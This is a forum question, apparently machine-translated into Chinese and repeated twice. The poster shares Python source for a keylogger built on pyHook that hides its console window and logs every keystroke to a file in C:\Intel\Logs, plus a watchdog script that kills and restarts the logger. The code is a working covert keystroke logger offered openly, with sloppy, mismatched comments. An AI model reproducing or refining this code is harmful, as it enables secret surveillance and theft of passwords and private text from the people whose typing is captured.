由于某种原因,Pyhook 给了我奇怪的输出
Pyhook gives me weird outputs for some reason
所以我是 Pyhook 的新手,想把自己变成一个用于教育目的的键盘记录器。但是,日志给了我奇怪的输入。它要么只是随机符号,总是大写,要么一切正常。
我正在使用 python 3.4,我正在使用 Windows。
这是我的代码:
import pyHook
import pythoncom
import win32gui
import win32console
import os
import sys
import time
import getpass
file = open("C:\Intel\Logs\log.txt", "w")
file.write("") #clears the log
file.close()
log_file = "C:\Intel\Logs\log.txt" #name of log file
window = win32console.GetConsoleWindow() #go to script window
win32gui.ShowWindow(window,0) #hide window
def pressed_chars(event): #on key pressed function
if event.Ascii:
f = open(log_file, "a")
if event.Ascii == 97: # (if char is "return")
f.write("a") # (open log_file in append mode)
char = chr(event.Ascii) # (insert real char in variable)
if event.Ascii == 13: # (if char is "return")
f.write("\n") # (new line)
elif event.Ascii == 8: #(if char is "backspace")
f.write("[BACKSPACE]") #(print "[backspace]")
f.write(char)
print(char)# (write char)
proc = pyHook.HookManager() #open pyHook
proc.KeyDown = pressed_chars #set pressed_chars function on KeyDown event
proc.HookKeyboard() #start the function
pythoncom.PumpMessages() #get input
代码大部分来自网络,略有修改。
现在的问题是:如何确保它始终是正常输出?
如果有什么需要澄清的,请告诉我。
所以我设法使它起作用了。
我刚刚在后台有这个脚本 运行,所以每次如果它给我这些奇怪的输入,它就会重新启动,直到它给我真正的字母。
import os
import time
count = True
while count == True:
time.sleep(40)
if "a" in open("C:\Intel\Logs\log.txt").read():
quit()
if "b" in open("C:\Intel\Logs\log.txt").read():
quit()
if "c" in open("C:\Intel\Logs\log.txt").read():
quit()
if "d" in open("C:\Intel\Logs\log.txt").read():
quit()
if "e" in open("C:\Intel\Logs\log.txt").read():
quit()
if "f" in open("C:\Intel\Logs\log.txt").read():
quit()
if "g" in open("C:\Intel\Logs\log.txt").read():
quit()
if "h" in open("C:\Intel\Logs\log.txt").read():
quit()
if "i" in open("C:\Intel\Logs\log.txt").read():
quit()
if "j" in open("C:\Intel\Logs\log.txt").read():
quit()
if "k" in open("C:\Intel\Logs\log.txt").read():
quit()
if "l" in open("C:\Intel\Logs\log.txt").read():
quit()
if "m" in open("C:\Intel\Logs\log.txt").read():
quit()
if "n" in open("C:\Intel\Logs\log.txt").read():
quit()
if "o" in open("C:\Intel\Logs\log.txt").read():
quit()
if "p" in open("C:\Intel\Logs\log.txt").read():
quit()
if "q" in open("C:\Intel\Logs\log.txt").read():
quit()
if "r" in open("C:\Intel\Logs\log.txt").read():
quit()
if "s" in open("C:\Intel\Logs\log.txt").read():
quit()
if "t" in open("C:\Intel\Logs\log.txt").read():
quit()
if "u" in open("C:\Intel\Logs\log.txt").read():
quit()
if "v" in open("C:\Intel\Logs\log.txt").read():
quit()
if "w" in open("C:\Intel\Logs\log.txt").read():
quit()
if "x" in open("C:\Intel\Logs\log.txt").read():
quit()
if "y" in open("C:\Intel\Logs\log.txt").read():
quit()
if "z" in open("C:\Intel\Logs\log.txt").read():
quit()
if "A" in open("C:\Intel\Logs\log.txt").read():
quit()
if "B" in open("C:\Intel\Logs\log.txt").read():
quit()
if "C" in open("C:\Intel\Logs\log.txt").read():
quit()
if "D" in open("C:\Intel\Logs\log.txt").read():
quit()
if "E" in open("C:\Intel\Logs\log.txt").read():
quit()
if "F" in open("C:\Intel\Logs\log.txt").read():
quit()
if "G" in open("C:\Intel\Logs\log.txt").read():
quit()
if "H" in open("C:\Intel\Logs\log.txt").read():
quit()
if "I" in open("C:\Intel\Logs\log.txt").read():
quit()
if "J" in open("C:\Intel\Logs\log.txt").read():
quit()
if "K" in open("C:\Intel\Logs\log.txt").read():
quit()
if "L" in open("C:\Intel\Logs\log.txt").read():
quit()
if "M" in open("C:\Intel\Logs\log.txt").read():
quit()
if "N" in open("C:\Intel\Logs\log.txt").read():
quit()
if "O" in open("C:\Intel\Logs\log.txt").read():
quit()
if "P" in open("C:\Intel\Logs\log.txt").read():
quit()
if "Q" in open("C:\Intel\Logs\log.txt").read():
quit()
if "R" in open("C:\Intel\Logs\log.txt").read():
quit()
if "S" in open("C:\Intel\Logs\log.txt").read():
quit()
if "T" in open("C:\Intel\Logs\log.txt").read():
quit()
if "U" in open("C:\Intel\Logs\log.txt").read():
quit()
if "V" in open("C:\Intel\Logs\log.txt").read():
quit()
if "W" in open("C:\Intel\Logs\log.txt").read():
quit()
if "X" in open("C:\Intel\Logs\log.txt").read():
quit()
if "Y" in open("C:\Intel\Logs\log.txt").read():
quit()
if not "Z" in open("C:\Intel\Logs\log.txt").read():
print("hi")
os.popen("taskkill/F /IM thekeylogger")
time.sleep(1)
os.popen("start thekeylogger.")
continue
如果有人对此有更好的解决方案,请告诉我。
所以我是 Pyhook 的新手,想把自己变成一个用于教育目的的键盘记录器。但是,日志给了我奇怪的输入。它要么只是随机符号,总是大写,要么一切正常。
我正在使用 python 3.4,我正在使用 Windows。
这是我的代码:
import pyHook
import pythoncom
import win32gui
import win32console
import os
import sys
import time
import getpass
file = open("C:\Intel\Logs\log.txt", "w")
file.write("") #clears the log
file.close()
log_file = "C:\Intel\Logs\log.txt" #name of log file
window = win32console.GetConsoleWindow() #go to script window
win32gui.ShowWindow(window,0) #hide window
def pressed_chars(event): #on key pressed function
if event.Ascii:
f = open(log_file, "a")
if event.Ascii == 97: # (if char is "return")
f.write("a") # (open log_file in append mode)
char = chr(event.Ascii) # (insert real char in variable)
if event.Ascii == 13: # (if char is "return")
f.write("\n") # (new line)
elif event.Ascii == 8: #(if char is "backspace")
f.write("[BACKSPACE]") #(print "[backspace]")
f.write(char)
print(char)# (write char)
proc = pyHook.HookManager() #open pyHook
proc.KeyDown = pressed_chars #set pressed_chars function on KeyDown event
proc.HookKeyboard() #start the function
pythoncom.PumpMessages() #get input
代码大部分来自网络,略有修改。
现在的问题是:如何确保它始终是正常输出?
如果有什么需要澄清的,请告诉我。
所以我设法使它起作用了。 我刚刚在后台有这个脚本 运行,所以每次如果它给我这些奇怪的输入,它就会重新启动,直到它给我真正的字母。
import os
import time
count = True
while count == True:
time.sleep(40)
if "a" in open("C:\Intel\Logs\log.txt").read():
quit()
if "b" in open("C:\Intel\Logs\log.txt").read():
quit()
if "c" in open("C:\Intel\Logs\log.txt").read():
quit()
if "d" in open("C:\Intel\Logs\log.txt").read():
quit()
if "e" in open("C:\Intel\Logs\log.txt").read():
quit()
if "f" in open("C:\Intel\Logs\log.txt").read():
quit()
if "g" in open("C:\Intel\Logs\log.txt").read():
quit()
if "h" in open("C:\Intel\Logs\log.txt").read():
quit()
if "i" in open("C:\Intel\Logs\log.txt").read():
quit()
if "j" in open("C:\Intel\Logs\log.txt").read():
quit()
if "k" in open("C:\Intel\Logs\log.txt").read():
quit()
if "l" in open("C:\Intel\Logs\log.txt").read():
quit()
if "m" in open("C:\Intel\Logs\log.txt").read():
quit()
if "n" in open("C:\Intel\Logs\log.txt").read():
quit()
if "o" in open("C:\Intel\Logs\log.txt").read():
quit()
if "p" in open("C:\Intel\Logs\log.txt").read():
quit()
if "q" in open("C:\Intel\Logs\log.txt").read():
quit()
if "r" in open("C:\Intel\Logs\log.txt").read():
quit()
if "s" in open("C:\Intel\Logs\log.txt").read():
quit()
if "t" in open("C:\Intel\Logs\log.txt").read():
quit()
if "u" in open("C:\Intel\Logs\log.txt").read():
quit()
if "v" in open("C:\Intel\Logs\log.txt").read():
quit()
if "w" in open("C:\Intel\Logs\log.txt").read():
quit()
if "x" in open("C:\Intel\Logs\log.txt").read():
quit()
if "y" in open("C:\Intel\Logs\log.txt").read():
quit()
if "z" in open("C:\Intel\Logs\log.txt").read():
quit()
if "A" in open("C:\Intel\Logs\log.txt").read():
quit()
if "B" in open("C:\Intel\Logs\log.txt").read():
quit()
if "C" in open("C:\Intel\Logs\log.txt").read():
quit()
if "D" in open("C:\Intel\Logs\log.txt").read():
quit()
if "E" in open("C:\Intel\Logs\log.txt").read():
quit()
if "F" in open("C:\Intel\Logs\log.txt").read():
quit()
if "G" in open("C:\Intel\Logs\log.txt").read():
quit()
if "H" in open("C:\Intel\Logs\log.txt").read():
quit()
if "I" in open("C:\Intel\Logs\log.txt").read():
quit()
if "J" in open("C:\Intel\Logs\log.txt").read():
quit()
if "K" in open("C:\Intel\Logs\log.txt").read():
quit()
if "L" in open("C:\Intel\Logs\log.txt").read():
quit()
if "M" in open("C:\Intel\Logs\log.txt").read():
quit()
if "N" in open("C:\Intel\Logs\log.txt").read():
quit()
if "O" in open("C:\Intel\Logs\log.txt").read():
quit()
if "P" in open("C:\Intel\Logs\log.txt").read():
quit()
if "Q" in open("C:\Intel\Logs\log.txt").read():
quit()
if "R" in open("C:\Intel\Logs\log.txt").read():
quit()
if "S" in open("C:\Intel\Logs\log.txt").read():
quit()
if "T" in open("C:\Intel\Logs\log.txt").read():
quit()
if "U" in open("C:\Intel\Logs\log.txt").read():
quit()
if "V" in open("C:\Intel\Logs\log.txt").read():
quit()
if "W" in open("C:\Intel\Logs\log.txt").read():
quit()
if "X" in open("C:\Intel\Logs\log.txt").read():
quit()
if "Y" in open("C:\Intel\Logs\log.txt").read():
quit()
if not "Z" in open("C:\Intel\Logs\log.txt").read():
print("hi")
os.popen("taskkill/F /IM thekeylogger")
time.sleep(1)
os.popen("start thekeylogger.")
continue
如果有人对此有更好的解决方案,请告诉我。